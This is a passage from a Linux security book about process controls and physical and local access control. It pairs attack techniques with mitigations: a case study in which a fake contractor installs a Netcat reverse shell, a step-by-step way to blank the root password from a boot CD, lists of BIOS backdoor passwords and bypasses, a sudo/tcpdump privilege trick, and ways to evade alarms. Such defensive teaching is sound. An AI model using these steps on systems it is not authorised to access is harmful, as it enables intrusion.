Huge and decisive victories have been made by cracking confidentiality controls. The ability to intercept and read messages that have been obscured or encrypted while the intended parties have no idea that their secret has been exposed is the foundation of information warfare. Defeating modern, peer-reviewed confidentiality techniques such as 128-bit AES public key encryption takes incredibly vast amounts of computing power and time. Direct attacks using brute-force to try every possible combination or millions of word combinations can be very difficult, whereas guessing most modern-day passwords takes considerably less time. Depending on how the encryption is applied, the amount of information encrypted, and the complexity of the key used to lock it, the viability or futility of the attack will vary. Therefore, some foreknowledge of the encryption technique (but not necessarily the algorithm) is preferable but not required. This means that how the encryption or obscurement is applied can often be its main weakness rather than the mathematics on its own. The other major weakness to confidentiality controls is in the key. The key or password used to perform the encryption is often easier to steal than cracking the encryption itself. The most notorious example of this is how the key for unlocking Digital Rights Management (DRM)–encrypted DVDs was insinuated from the programs used to play DVDs, which allowed for their copying.
Chapter 3:
Applying Process Controls
Assuring Confidentiality Confidentiality is the control for assuring that an asset displayed or exchanged between parties cannot be known beyond those parties. Encryption is the most common kind of successfully applied confidentiality. Even obscurement may be considered a type of confidentiality, although cracking it only requires an attentive and focused attacker who does thorough reconnaissance. Applying confidentiality requires using a publicly open and thoroughly tested algorithm together with a strong process for protecting the keys, often using other controls. It makes no sense to go with new, proprietary encryption schemes, especially if they are closed to public review (or any review), because you cannot be certain of what you are getting. The problem is that most applications surrounding new encryption schemes often need to rely on marketing hype and poorly defined statistics to sell their wares. Unlike open and publicly reviewed encryption algorithms that do not need to sell themselves this way, the new schemes have not yet been submitted to an appropriate peer review or have not passed one—therefore the need for hype. Using obscurity instead of encryption also has its place in defending against automated attacks that target according to specific criteria. By not matching that criteria, an unencrypted message is sufficiently obscured to avoid attack. A simple example of this is to use the DNS protocol instead of POP to send or download mail. This circumvents some firewalls and specific home mail policies at work because the protocol is not expected or automatically filtered. However, a thorough investigation of network traffic would turn up the content of those requests as being POP mail. Obscuring the POP protocol, therefore, provides confidentiality but not from all types of interception. When using obscurity to hide JavaScript or other types of code on websites, or steganography to embed messages in images, you must be aware that it will not protect you against a targeted attack.
Exposing Secrets Popularity:
5
Simplicity:
5
Impact: Risk Rating:
10 7
Revealing secrets is often considered to be more about confidentiality controls (encryption and obscurity) than privacy controls. Actually, privacy itself is more often thought of as a goal rather than a control. However, the security profession defines a secret as “something intimately known,” which reveals that what is known can be both what’s in the message and how to retrieve the message. So where confidentiality protects the information from unintended viewing, privacy controls protect the interception of the message in the first place. In movies a common storyline is where the police know that a drug deal will take place but they don’t know when. In this case, the message is known—”Drug deal on
33
34
Hacking Exposed Linux: Linux Security Secrets & Solutions
January 1st at 12:00”—but the location is still unknown. Since the police need to wait until the drugs appear and for money to switch hands in order to mark it as a drug deal to take the criminal empire down, they need to figure out the location of the deal. Eventually the key drug kingpins are caught in the same location, but there are no drugs. The police have failed, and after a big scene, the police captain chews out the gritty cops who played by their own rules. Eventually they figure out the clever scheme that the kingpins used to privately make the exchange. In this example, the means of the exchange is a process intimately known only to the parties involved and no outsider could effectively intercept it. To successfully expose secrets protected through privacy controls, the attacker must be able to monitor the activity of the target’s interactions. Only then can the stimulus be revealed that concedes the secret. Many network protocols are like secret handshakes that when performed incorrectly cause the other person to deny or fabricate a response. Many UDP services only respond when the correctly configured UDP packets are received or else they ignore the request. A few TCP services do this as well. Port knocking is a technique designed to require a particular sequence of tailored packets before revealing a service to connect to. All of these protocols have the same weakness, however: surveillance. By watching how a privacy controlled system or service reacts when communicating a secret, its holder reveals the secret—just like in the movies when the police hide an electronic listening device, or bug, somewhere on one of the drug kingpins to figure out their secret. However, electronic systems allow another trick that does not effectively exist in the physical world: repeatedly plying the source with stimuli as a brute-force method of attack and waiting to see if any response is received.
Creating Proper Privacy Controls Privacy controls how an asset is displayed or exchanged between parties, so it cannot be known beyond those parties. Therefore, to protect secrets with privacy controls, the means of exchange must be protected. Unfortunately, this is extremely difficult to do without also using confidentiality and subjugation controls as well because the user will want to be able to use the same process repeatedly and that hinders good privacy controls. Currently, some types of privacy controls are inherent in many services that communicate by UDP. If the service request does not match the service, then no response is sent. However, once the service request is known, that same service can be sent repeatedly for any and every system that has that service. Privacy controls require the service request to change every time the secret is revealed, even by authorized users, because there is no way to ensure that someone wasn’t watching the interaction that one time. This, however, makes for a lousy protocol. A famous technique, port knocking, attempts to enhance the use of privacy controls in networking. However, port knocking requires the use of an encrypted tunnel; otherwise, the sequence would have to change each time. You can also change the backend sequence so that even if a third party monitors the request, the result is still not obvious. This technique is used by some certification bodies like ISECOM’s OSSTMM
Chapter 3:
Applying Process Controls
Professional Security Tester (OPST) and Analyst certifications (OPSA), respectively, and most notably when you take the driving portion of the driver’s license exam. In this part of the exam, the information that the driver is expected to know is generally known so there are no surprises. However, the test taker has no idea which streets or street conditions, weather conditions, or traffic conditions he or she must deal with. Only the examiner knows this. Therefore, if a technique like port knocking could be used for an important management or administrative service, the protocol to connect to the server could be protected—even if it is discovered because the port that it opens is a changing secret known only to the administrator. Furthermore, if the server receives no connection within a particular time limit then it closes again. This way the administrator needs to know only a limited number of ports to connect to and the attacker is befuddled by needing to find the listening port within a certain time limit. Privacy controls, together with subjugation, integrity, authentication, and confidentiality controls, create a very tight process that is difficult to penetrate. A carefully constructed privacy control on its own, however, is still a formidable tool, even if just for skills-based certification exams.
Making Changes Popularity:
10
Simplicity:
10
Impact:
10
Risk Rating:
10
One of the most common methods for attacking a system or a process is to destroy its integrity. Systems that have been accessed by an attacker usually require a new re-install to reset integrity. Databases that cannot be read may force a wily attacker just to make it look like it has by slipping in varying amounts of false data to reduce its usefulness or the trust users might have in it. Confidential communications that cannot be read may be scrambled so that nobody else can read them either. Stories abound in warfare where a message is intercepted and changed to make the enemy stop when they should attack or hide when they should fight. The integrity of crucial information is as crucial as the message. So to challenge the integrity is to change the message, even if the message does not get changed; but the recipient might not know that and disregard it anyway. A challenge to integrity will almost always guarantee a cost in time and money for an organization that needs to spend time ensuring that no information or services have been tainted. Organizations that rely on the veracity of their information are easy victims for such attacks.
Maintaining Integrity Integrity is the control of methods and assets from undisclosed changes. To assure that no change has taken place various techniques are used to measure the current state of an
35
36
Hacking Exposed Linux: Linux Security Secrets & Solutions
asset so that at any time in the future, an asset’s state can be remeasured and compared to its true state. Some techniques use hardware like Trusted Platform Module (TPM) and some use software to create one-way hashes of the state. Many encryption processes for communications use such hashes to prevent altered or scrambled communications from being misinterpreted. Applying integrity controls correctly is fairly easy as long as the state being measured for the control is absolutely untainted. The difficult part of the process is making sure that the saved hashes don’t get lost or tainted themselves or else there is no possible means of verifying the state.
Silencing the Guard Popularity:
1
Simplicity:
1
Impact: Risk Rating:
10 4
Probably the most formidable control is the alarm control. The ability to draw attention when something goes wrong and bring down the cavalry to handle an attack are powerful weapons in any battle. When protecting the Linux deployment, the alarm control is still the most formidable weapon—except when it’s abused. Assuming the alarm is properly deployed and monitored, the only means of getting past it without incident is to cut it off before it can alert anyone, circumvent it by finding a path to assets it does not protect, or trigger it all the time and for no reason until it’s either disabled or the valid alarm is obscured by the invalid ones. Cutting off the alarm before it can alert anyone may be too difficult, though. The path to the guard is often much shorter than to the alarm itself. Intercepting the guard is sometimes a more feasible option than attempting to cut off the alarm. Slower alerts, such as log files, however, can be deleted, and this step is important in penetrating an asset gateway. However, deleting log files only works once the attacker has access and is not the best choice for network-based alerts. Circumventing alarm controls is often possible for network-based sensors but not for system access where log files record changes to files, permissions, and actions. Since movement in a system is limited to the Linux system environment, it is not possible to move about a system unnoticed and untracked. However, most network sensors work with black lists, so all the attacker needs to do is make the attack appear as proper traffic or unrecognizable as known traffic at all so the black list cannot make a match to a known attack type. The final technique is a potent but noisy one. It depends on noise to drown out the valid information about an ongoing attack. A typical human reaction is to turn off the alerts when they all seem to be invalid. A detection system may just be overwhelmed and drop the traffic it cannot handle, leaving it unverified.
Chapter 3:
Applying Process Controls
Making the Most of Alarms Alarms notify administrators that OPSEC or other controls have failed, been compromised, or circumvented. The application of an alarm control is not difficult if one simple rule is followed: No sensor should exist that is not monitored by a person or other sensor. Every type of logging or network traffic verification that is monitored to trigger an alarm must be tamperproof. To tamper proof a sensor is to be sure that it cannot be accessed for tampering. To do this, another sensor must be watching that first sensor for unauthorized activity. Each log file should be monitored and an alert sent whenever the log file has been created, deleted, or reduced. Each network sensor should be logged and watched by another network sensor as per its uptime, load, and activity.
SUMMARY The use of process controls such as non-repudiation, confidentiality, privacy, integrity, and alarms will greatly enhance the security of assets on a Linux system. Understanding these controls and how to recognize them will allow you to approach the other chapters in this book with greater understanding toward building a more thoroughly controlled system.
CASE STUDY An air conditioning contractor walks into the lobby of a company. He approaches the receptionist, stating that he is supposed to work on the air conditioner in the server room. The receptionist escorts him to a member of the IT Department who promptly gives him access to the server room. After waiting in the cold, loud room for a few minutes, the chaperone glances at her phone a few times and eventually walks away. Once inside, the air conditioning contractor locates the server of interest contained in an open server rack. He pulls out a Knoppix-STD Linux boot disk, places it in the CD tray, and reboots the server by pressing the power button, which promptly boots backup into Knoppix. He mounts the root partition of the respective server, replacing the root password in the /etc/shadow file with a known password hash and salt. He copies Netcat to the server and installs the corresponding startup files to create a reverse tunnel and shovel a shell to a remote server whenever the server is restarted. He glances casually over his shoulder to make sure he is still alone. Removing the Knoppix-STD disk, he restarts the server and walks out of the server room, pronouncing the air conditioner in good working order. Back home in a more comfortable setting, he powers up his monitor to see the remote shell already waiting patiently. After a quick cracking of his knuckles, he sets straight to work. Grinning, he thinks about what his grandfather once told him, “If you do what you love, then you’ll never work a day in your life.”
42
Chapter 4:
Local Access Control
Y
ou can implement the best network and host-based security software and devices in the world, but unless you take steps to restrict physical access, it is all for naught. Probably the single most important rule in information security is to always prevent physical access to a machine at all costs! In most cases, physical machine access grants attackers the ability to attempt to compromise a box on their terms. They have free reign to run any tool at their disposal within their own timeframe, and they have full access to remove or modify components.
PHYSICAL ACCESS TO LINUX SYSTEMS From a Physical Security (PHYSSEC) perspective, problems do not really begin until attackers have their hands on a machine. Having suitable access controls to prevent direct access and policies in place to prevent social engineering will help ensure that attackers are kept at a safe distance. Linux is a robust OS, but it is still vulnerable to hardware dangers that may lead to damage on its physical drives or power losses that may cause data corruption. Therefore, in addition to access controls, server rooms should include the following items to ensure integrity and availability and provide protections from power outages, power anomalies, floods, and so on: • Adequate air conditioning for all servers at peak utilization • Sufficient power, UPSs, and PDUs • Raised flooring
Social Engineering Popularity:
6
Simplicity:
5
Impact: Risk Rating:
10 7
Social engineering is not particularly a Linux thing, but it does apply. People are often the weakest link in security, and Linux is not immune to this problem. Very sensitive servers should, therefore, be contained within a locked server rack, thus providing an additional layer of access control and protecting highly sensitive equipment from semitrusted personnel. Furthermore, servers should always be contained in a suitable environment, having at least the following access controls to protect security: • Keycard access to server room allowing only authorized personnel • Real-time cameras and video recording equipment to guard all servers and archive activity • Locking server rack for highly sensitive servers
43
44
Hacking Exposed Linux: Linux Security Secrets & Solutions
Although serious social engineering can take the form of uniformed workers and contractors with business cards and badges, keep in mind it can also occur in the form of interviewees, new hires, temporary employees, or interns doing low-level jobs.
Preventing Social Engineering Considering the potential consequences, the best plan is to stop would-be attackers at the beginning. Prospective entrants to server rooms, especially visitors or contractors, should always be vetted to verify they are expected and have sufficient approvals. Any guests or contractors should be supervised at all times while in the server room. They should never be left unattended. Security awareness training for all personnel will also go a long way toward assuring such security processes are adhered to. Although secure processes and security awareness training will reinforce such concepts, unauthorized physical access is still best hindered by • Maintaining least privilege physical access controls by locking vital areas and providing unique keys only to specific personnel who need access • Performing background checks, both criminal and financial, prior to granting physical access • Designing the route used to access systems such that it passes more than one employee, especially employees with access privileges to the respective systems • Mixing physical locks with more high-tech ones, so hacking the access control system does not grant access to places that also require a key
CONSOLE ACCESS Once attackers have access to the Linux server console, you can still put up several potential barriers other than just the root password. All barriers have notable weaknesses, however, that require review and mitigation.
Stealing/Changing Data Using a Bootable Linux CD Popularity: Simplicity: Impact: Risk Rating:
7 9 10 9
Once an attacker has gained physical access, getting into a box can be as simple as booting to a CD-based Linux distribution, deleting the root user account password in the /etc/shadow file (or replacing it with a known password and salt), and booting into the system, normally with full access. This can be accomplished step-by-step as follows:
Chapter 4:
Local Access Control
1. Reboot the system and configure it to boot from the CD-ROM. 2. Boot the system into the bootable Linux distribution, such as one of the following: • Backtrack2 (http://www.remote-exploit.org/backtrack_download.html) • Knoppix-STD (http://s-t-d.org/download.html) 3. Open a root command shell. 4. Create a mount point by typing the following mkdir mountpoint, which will create a directory called mountpoint. This is where the file system will be mounted. 5. Determine the type of hard disks (SCSI or IDE) on the system. SCSI drives will be represented by sda, sdb, sdc, and so on, whereas IDE drives are represented by hda, hdb, hdc, and so on. To determine the disk type, type fdisk –l or look through the output of the dmesg command. Sometimes you’ll need to try several approaches. 6. Determine the partition on the disk to be mounted. Partitions on the disk are represented as sda1, sda2, sda2, and so on, for SCSI drives and hda1, hda2, hda3, and so on, for IDE drives. Identifying the correct partition that contains the /etc/shadow file (always the root “/” partition) can be trial and error, especially if numerous partitions exist on the system, but it is usually one of the first three partitions. 7. Type mount /dev/sda# mountpoint, where /dev/sda# is your root partition (sda1, sda2, sda3,…), and mountpoint is the directory you created. 8. Change to the /etc directory on your root partition by typing cd mountpoint/ etc. 9. Use your favorite text editor (such as vi) to open the etc/shadow file for editing. 10. Scroll down to the line containing the root’s information, which looks something like: root:qDlrwz/E8RSKw:13659:0:99999:7:::
11. Delete everything between the first and second colons, so the line resembles this one: root::13659:0:99999:7:::
If password complexity is enabled on the system, deleting the root password will not allow you to successfully log in to the system using a null password. A known password meeting complexity requirements using the same encryption methodology must be copied and pasted in place of the old root password. 12. Save the file and exit your editor.
45
46
Hacking Exposed Linux: Linux Security Secrets & Solutions
13. Type cd to return to the home directory. 14. Type umount mountpoint to unmount the target file system. 15. Type reboot to reboot the system and remove the bootable Linux distribution CD from the drive. 16. Now the system can be accessed as root with no password (or the known password).
Disabling Bootable Linux CDs To mitigate the damage attackers can do booting locally, many diligent systems administrators often take common precautions to prevent further access. These precautions are generally one or more of three standard electronic physical access controls: • BIOS passwords • Disabling boot from removable media • Password-protected hard drives (easy to implement for workstations, but for servers requires hardware-level remote administration ability, such as IP KVM, Dell Drac card, or the like)
Circumventing BIOS Passwords Popularity:
6
Simplicity:
8
Impact:
7
Risk Rating:
7
BIOS passwords are a very basic form of security and can be set to prevent the system from booting or to prevent the BIOS from being altered by unintended parties. They provide a minimum level of security with a minimum amount of effort. To assist in accessing the BIOS in the event an administrator has forgotten the BIOS password, many of the BIOS providers have included a backdoor BIOS password for easy recovery. A list of them is contained on the http://pwcrack.com website, and at the time of this writing, they are as follows. Award BIOS Backdoor Passwords ALFAROME
BIOSTAR
KDD
ZAAADA
ALLy
CONCAT
Lkwpeter
ZBAAACA
Ally
CONDO
LKWPETER
ZJAAADC
Ally
Condo
PINT
1322222
Chapter 4:
Local Access Control
Award BIOS Backdoor Passwords (continued) ALLY
d8on
Pint
589589
APAf
djonet
SER
589721
_award
HLT
SKY_FOX
595595
AWARD_SW
J64
SYXZ
598598
AWARD?SW
J256
Syxz
AWARD SW
J262
shift + syxz
AWARD PW
j332
TTPTHA
AWKWARD
j322
Awkward AMI BIOS Backdoor Passwords AMI
PASSWORD
AMI_SW
CONDO
AAAMMMIII
HEWITT RAND
LKWPETER
BIOS
AMI?SW
A.M.I.
CMOS
phoenix
PHOENIX
ALFAROME
CMOS
setup
Syxz
BIOSTAR
cmos
SETUP
Wodj
biostar
LKWPETER
biosstar
lkwpeter
PHOENIX BIOS Backdoor Passwords BIOS Miscellaneous Common BIOS Passwords
Manufacturer
Other BIOS Passwords
Biostar
Biostar
Compaq
Compaq
Dell
Dell
Enox
xo11nE
Epox
central
Freetech
Posterie
Iwill
Iwill
Jetway
Spooml
Packard Bell
bell9
QDI
QDI
47
48
Hacking Exposed Linux: Linux Security Secrets & Solutions
Manufacturer
Other BIOS Passwords
Siemens
SKY_FOX
TMC
BIGO
Toshiba
Toshiba
VOBIS & IBM
Merlin
BIOS Password Bypass Techniques: Using Input Devices • Toshiba Many Toshiba laptops and desktops will bypass the BIOS password if you press the left shift key during the boot process. • IBM Aptiva You can bypass the IBM Aptiva BIOS password by clicking both mouse buttons repeatedly during the boot process.
BIOS Password Bypass Techniques: Using Boot Disk Utilities If none of these backdoor passwords or techniques is successful, but the machine will boot from a floppy or other removable media, a BIOS password removal tool is the next step to try. Numerous utilities operate from boot disks that will effectively remove BIOS passwords quickly and effortlessly. Following are several BIOS password removal tools that run from removable media: • CMOS password recovery tools 3.2 • KILLCMOS • RemPass
BIOS Password Bypass Techniques: Using CMOS Battery Removal If the machine has a BIOS password and you cannot boot and log in to it, you can bypass the password easily in several ways. The most common ways involve removing the CMOS battery, modifying jumper settings, and using various software utilities. If attackers are patient and have about 10 minutes to wait, they can remove BIOS passwords simply by removing the CMOS battery. At that point, the motherboard discharges its stored electricity (from capacitors), and the password is erased and the BIOS is reset to factory defaults.
BIOS Password Bypass Techniques: Modifying Jumper Settings Another approach is to modify the jumper settings on the motherboard. Settings are usually easily obtained via a quick Internet search to the motherboard manufacturer, which makes it possible to speed up BIOS password removal. Changing the jumper settings to the manufacturer-specified option for password recovery makes it possible to boot the machine and remove the BIOS password. The
Chapter 4:
Local Access Control
Figure 4-1 Jumper settings
information, shown in Figure 4-1, was obtained from a quick Google search of Intel’s website: Password Clear (J9C1-A) Use this jumper to clear the password if the password is forgotten. The default setting is pins 1-2 (password enabled). To clear the password, turn off the computer, move the jumper to pins 2-3, and turn on the computer. Then, turn off the computer and return the jumper to pins 1-2 to restore normal operation. If the jumper is in the 2-3 position (password disabled), you cannot set a password. (from http://www.intel.com/support/motherboards/desktop/AN430TX/sb/cs-012846.htm)
As any systems administrator who has forgotten a BIOS password and needed to gain access knows, it generally takes less than a few minutes to get around this obstacle. If a BIOS password is successfully removed, attackers can simply edit the BIOS settings and allow booting from removable devices. From that point, they can boot to any form of removable media and reset the password on the machine.
49
50
Hacking Exposed Linux: Linux Security Secrets & Solutions
Preventing BIOS Password Circumvention Since Linux distributions can be run from any form of removable media (CDs, DVDs, floppy drives, and USB devices), disabling the ability to boot from any form of removable media is advisable and will keep out many of the lower-level, script-kiddie attackers. But like BIOS passwords, if attackers obtain physical access to the box, they can easily circumvent this security measure.
Disable Booting from Removable Media If removing the password is not possible, the drive is really only protected while in its original box. If necessary, it is generally possible to extract the drive and connect it to another box, boot into any version of Linux, mount the drive, and change or remove the password as mentioned at the beginning of this chapter. Using this method, attackers can easily gain root access. The only way to truly protect data is to prevent attackers from getting access to the drive contents. Therefore, the drive contents must be unreachable and/or useless to unintended users. However limited, a BIOS password is still a layer of protection that should be implemented on secure servers. The intent is to provide layered security that will stop a significant portion of would-be attackers because they lack the time, patience, tools, physical access to the box itself, or knowledge to circumvent the protection measure.
Platter Locks and Circumvention In the last couple of years, some computer manufacturers have introduced passwordprotected hard drives (or platter locks), particularly for use in laptops. The password is stored in the chipset on the drive and is accessed or modified by the drive CMOS. This technology requires users to enter a password before the hard drive can be activated. During a cold or warm boot, this occurs just after the POST (at the time the hard drive is accessed), and it arrests the machine at that state until the password has been entered. In a scenario where a password-protected hard drive is inserted into an accessory bay of an already booted laptop, the machine state is arrested and produces a hard-drive password entry screen. It will not perform any other functions, nor read to or write from, the respective hard disk until the correct password has been entered. Once the password has been entered, the machine automatically returns to the state it was in before the drive was inserted without requiring a reboot. Although this may sound like a good idea, passwords that protect hard drives are often only a maximum of 8 bytes and have very small character sets (case-insensitive letters and numbers). These passwords can be brute-forced or even removed using a variety of methods. Several solutions exist for removing passwords, allowing drives to be imaged in a forensically sound manner, and replacing passwords afterward while the machine owner is unaware of the intrusion. Vogon (http://www.vogon-international.com), a company specializing in data recovery, data conversion, and investigative services, has developed a password cracker pod specifically for this purpose. This functionality is mainly designed for forensic investigators and law enforcement officers who need covert access to machines, but it can be useful for administrative purposes as well.
Chapter 4:
Local Access Control
Whole Disk or Partition Encryption The best way to protect against data tampering or unintended disclosure is to implement one of the many whole disk or partition encryption methodologies available to Linux systems. This entails encrypting the entire contents of the hard drive, or partition, using a cryptographic encryption algorithm. By scrambling all data on the disk with a key of suitable length and using a password of sufficient complexity, the data can be neither read nor modified without the encryption key. In order to decrypt the data and/or boot the drive, the password must be entered on startup. Once the password or key is applied, the machine functions normally and all the data is readable. Before the password is entered and the drive is decrypted, any attempt to modify the data will render all data on the drive corrupt and unusable. However, this technology is not a panacea, and it does have its drawbacks. As stated earlier, once the password has been entered, the machine boots normally and all data is decrypted. This means two things: • Data is unencrypted to all local and remote users who have the ability to access the system while it is running. • Someone must be present to enter the password when the machine boots or when access is needed. Otherwise, it needs to have some kind of automatic key management system in place, which has its own set of issues. Encryption technology is very effective for providing maximum protection for data at rest. But it hinders the ability to perform a remote reboot (unless, of course, the machine is plugged into an IP-based KVM or similar technology), and it provides no security for data once the machine is live. Many tools are available for performing whole disk or partition encryption. Encrypting partitions is easiest when a partition is created. Most disk management utilities, such as Yast in Suse, provide options for encrypting partitions when they are created (see Figure 4-2). These partitions can only be accessed if the respective password is entered (see Figure 4-3). However, using Yast, by default, only allows encryption of non-system partitions. To encrypt a system partition, kernel patches and other configurations must be made. Following is a link to an excellent How-To by David Braun, detailing the steps to set up an entire encrypted Linux installation from scratch in the 2.4 kernel: http://tldp.org/HOWTO/html_single/Disk-Encryption-HOWTO
Additionally, Boyd Waters continued David Braun’s work, but using the 2.6 kernel, and wrote another excellent white paper. This white paper can be accessed at the following link: http://www.sdc.org/~leila/usb-dongle/readme.html
Truecrypt (http://www.truecrypt.org/) and BestCrypt (http://www.jetico.com) provide encrypted volumes for Linux in a different way. These utilities store their data in files that are mountable volumes. Once these volumes are mounted, they appear like
51
52
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 4-2 Creating encrypted partitions
partitions; otherwise, they are simply files and can be easily backed up or moved, just like any other file.
PRIVILEGE ESCALATION Thus far, we have described ways that attackers can compromise a system due to lack of physical access controls on or surrounding a system. Instead of aiming only to prevent physical access to the machine or direct access to its drives, you must also consider how to safely allow semitrusted users some level of access to a machine, but not give them greater permissions than necessary. Furthermore, you must try to prevent users from escalating their privileges themselves and gaining access to unintended resources. Having said that, Linux systems often require a user be able to elevate his or her own privileges from time to time, when executing certain commands. Sudo is a utility that grant granular access to commands that users can run with elevated permissions.
Chapter 4:
Local Access Control
Figure 4-3 Entering encrypted partition password
Sudo When using or administering a Linux box, you frequently need to switch back and forth between performing administrative-type tasks requiring enhanced permissions and regular-type tasks only needing basic user permissions. It would be ineffective to operate using a basic user account all of the time and unwise to do everything as root. Due to the restrictions placed on standard user accounts and the number of steps involved in switching back and forth between accounts, not to mention the irritation caused by the path changing every time, the tendency is to just log in to the system as the superuser and perform all the tasks from start to finish. This is very problematic. When logged in as root, every action made, every process run, everything accomplished, operates with superuser permissions. If a command is mistyped and unintentionally gives instructions to overwrite a sensitive operating system file, it will be overwritten. If there is a GUI installation of Linux and users are surfing the Internet as root, malicious code will run in the web browser as root. You can deal with this dilemma in several ways. Changing back and forth between the root account and a standard user account is one approach, but this is a hassle for numerous reasons. A better option is to use a utility like sudo to grant elevated permissions for the purpose of running a single command.
53
54
Hacking Exposed Linux: Linux Security Secrets & Solutions
Sudo is an elegant utility that is perfect for infrequent administrative tasks that do not involve installing systemwide software programs. It ensures operating with elevated user permissions for a particular purpose using a single command. To use elevated permissions, type sudo at the command line and enter the password (the first time; the system remembers the password for a specified period thereafter).
Granular Sudo Configuration Sudo is not limited to self-restriction of privileged users. It is actually most powerful when enabling unprivileged users to perform specific privileged tasks. If certain users need to run certain processes with root permissions, without the need for root access to everything on the box, sudo is a perfect solution. It allows the specification of a full path to commands that users are allowed to run. For example, let’s say a junior security analyst on a team needs to perform packet captures from a Linux box using a tcpdump of various network traffic scenarios, but the analyst does not need to view certain other packet captures that reside on the box. The analyst needs root permissions to run tcpdump, but providing the root password is unadvisable. You can use sudo to enable tcpdump to function normally, and the user in question would only need his/her own login password. For instance, if the /etc/sudoers file contains the following entry, the lacky user can run /usr/sbin/tcpdump as root on the server overlord. Lacky overlord = usr/sbin/tcpdump
For the sake of being comprehensive, the server argument is specified to allow a single sudoers file to provide the configuration for multiple servers from a shared network location. One of sudo’s original specifications was that its configuration file could be centrally located and accessible from multiple machines on a network and that a single file could provide all of the user permissions for various servers. In this way, administrators have the option of creating and updating a single file in a single location, instead of making rounds to various machines.
Word of Caution with Sudo Never engineer a situation where restricted sudoers are given the ability to elevate their permissions or other account permissions. Use care to determine if utilities that sudoers are assigned to access (via sudo) could potentially be used to enhance their level of access or access for others with whom they could potentially collude. For instance, seemingly benign, everyday utilities like cat, echo, and vi can easily be used to overwrite existing configuration files and modify permissions if given root access. Even in the tcpdump example mentioned previously, there are issues you need to consider. Part of the reason the hypothetical security analyst was given sudo access to /usr/sbin/tcpdump, and not provided the root password, was to allow the creation of new tcpdump files, but prevent the analyst from viewing ones that already existed on the system. To prevent the analyst from gaining access to the existing tcpdump files, the
Chapter 4:
Local Access Control
files should be given the permissions 600 (rw-------) and should also be owned by root. Take a look at the following example and observe how the analyst could utilize his/ her sudo access to a single process and gain elevated, unintended access to files: test1@linux:/var/traffic> whoami test1 test1@linux:/var/traffic> ls -l total 3776 -rw------- 1 root root 3858884 Oct 10 14:29 traffic.out test1@linux:/var/traffic> sudo /usr/sbin/tcpdump -r traffic.out -w traffic.out2 reading from file traffic.out, link-type EN10MB (Ethernet) test1@linux:/var/traffic> ls -l total 7551 -rw------- 1 root root 3858884 Oct 10 14:29 traffic.out -rw-r--r-- 1 root root 3858884 Oct 10 14:43 traffic.out2
Notice that the traffic.out2 file is world-readable. The analyst has used his or her respective permissions to gain unintended and undesirable access to supposedly protected resources.
Privilege Elevation Popularity:
10
Simplicity:
4
Impact: Risk Rating:
10 8
As seen in the previous section, an analyst is able to circumvent access controls through savvy use of the tcpdump command. This is part of a larger category of malicious behavior called privilege escalation, which rightly deserves its own book (or perhaps volumes of books) to do it any justice. Enumerating all the ways that privilege escalation can be accomplished—especially since the identified methodologies increase daily—is impossible, but the end result is about the same. Attackers exploit a lack of physical access control, system misconfiguration, or a flaw in an application to gain access to resources normally inaccessible to that user or application. The resources mentioned can be anything on the system, such as restricted files, privileged address space, other processes, or even user accounts. Many possibilities for access control gaps and system misconfigurations have been mentioned in previous sections. The existence of any or all of them could lead to a successful privilege escalation attempt, but some obviously have more impact than others. Choosing the best combination of access controls designed to mitigate them in a particular environment is key.
55
56
Hacking Exposed Linux: Linux Security Secrets & Solutions
Despite physical or administration security measures, or lack thereof, the main attack vector for privilege escalation is, without a doubt, due to flaws in applications. Poor input validation, or neglecting to bounds check in one or more areas, frequently leads to application security being circumvented and system-level access granted to unintended users. This exploit method can occur in any way that the application can receive data, locally or remotely. It almost always occurs because the application does not properly validate the type of data, such as with SQL injection, or the amount of data, such as with buffer overflows. In most default software configurations, the vulnerability generally results in a full system compromise.
Preventing Privilege Elevation Careful configuration and implementation of some security measures can make up for weaknesses in other areas. For instance, if a company mandates that all server users and daemons operate in a carefully chrooted environment and utilize user accounts that have absolutely no permissions on that system, other than in the chrooted environment, the servers stand a much greater chance of withstanding most vulnerabilities that exist, even if the vulnerability is driver- or application-related. The basic premise is to create as many “significant” layers of difficulty as possible. Do not give anything away for free. Usually, even the most dedicated attackers will move on to easier prey. Furthermore, a successful privilege escalation attack is limited by the following four items: • The resourcefulness, skill, and patience of the individual attempting to perform a privilege escalation • The dedication, skill, and experience of the systems administrator attempting to prevent privilege escalation and system compromise • The sound architecture and secure code engineered by software developers in their pursuit to release only the highest quality product • Enhancements in hardware designed to mitigate the various and sundry privilege escalation methods In general, the first item is the greatest threat to a privilege escalation attack. Usually, if attackers are patient enough, have a good understanding of the environment being attacked, are up-to-date with current vulnerabilities and exploits affecting the target system, and are sufficiently determined, they will find a way to get the level of access they are seeking. Administrators are often overworked, underskilled, and unable to keep up with the required maintenance to aid in systems security. Software developers have a tendency to ensure that the program works for its intended purpose, but they let users perform the majority of their quality assurance (especially as it pertains to vulnerability identification) and then pick up the pieces later. The odds, therefore, are on the dedicated attackers’ side. Security professionals should keep this in mind
Chapter 4:
Local Access Control
Restrict System Calls with Systrace Interactive Policies One of the most powerful system access controls is the Systrace utility that allows enforcement of interactive policies. Proper utilization of this utility can replace other access controls, or be added to them, as part of a defense-in-depth architecture. It essentially creates a virtual chrooted environment where access to system resources can be specifically permitted or denied for a particular application. The Systrace utility has three primary functions: • Intrusion detection • Noninteractive policy enforcement • Privilege elevation Intrusion Detection The Systrace utility enables administrative personnel to monitor daemons (especially useful if done on remote machines) and generate warnings for system calls that identify operations not defined by an existing policy. This allows administrators to create profiles for normal daemon operations on a particular system and generate alerts for any abnormal activity. Noninteractive Policy Enforcement (aka IPS) Beyond the ability for Systrace to generate alerts for system calls not included in a particular policy, you can also use it to prevent them. Systrace can be configured to deny any activity not explicitly defined in an active policy. Privilege Elevation Instead of configuring SetUID/SUID/SGID bits, which can essentially create built-in vulnerabilities, Systrace can be used to execute an application without persistent permissions, as it only escalates permissions to the desired level when necessary. Furthermore, Systrace only elevates privileges in a precise, fine-grained manner, specifically for the particular operations that require them.
Hardware, Driver, and Module Exploitation Popularity:
8
Simplicity:
5
Impact: Risk Rating:
10 8
With operating systems being patched more regularly, often through automatic updates, attackers are turning to easier prey such as weak hardware drivers. In more recent times, a rash of hardware driver exploits have occurred as attackers hit their mark and put hardware manufacturers on notice. This puts Linux drivers in a precarious spot. Many Linux drivers are developed by third parties since many hardware manufacturers tend to not develop Linux drivers for their product. The driver code is open source and available for auditing as well as vulnerability research. While this allows independent
57
58
Hacking Exposed Linux: Linux Security Secrets & Solutions
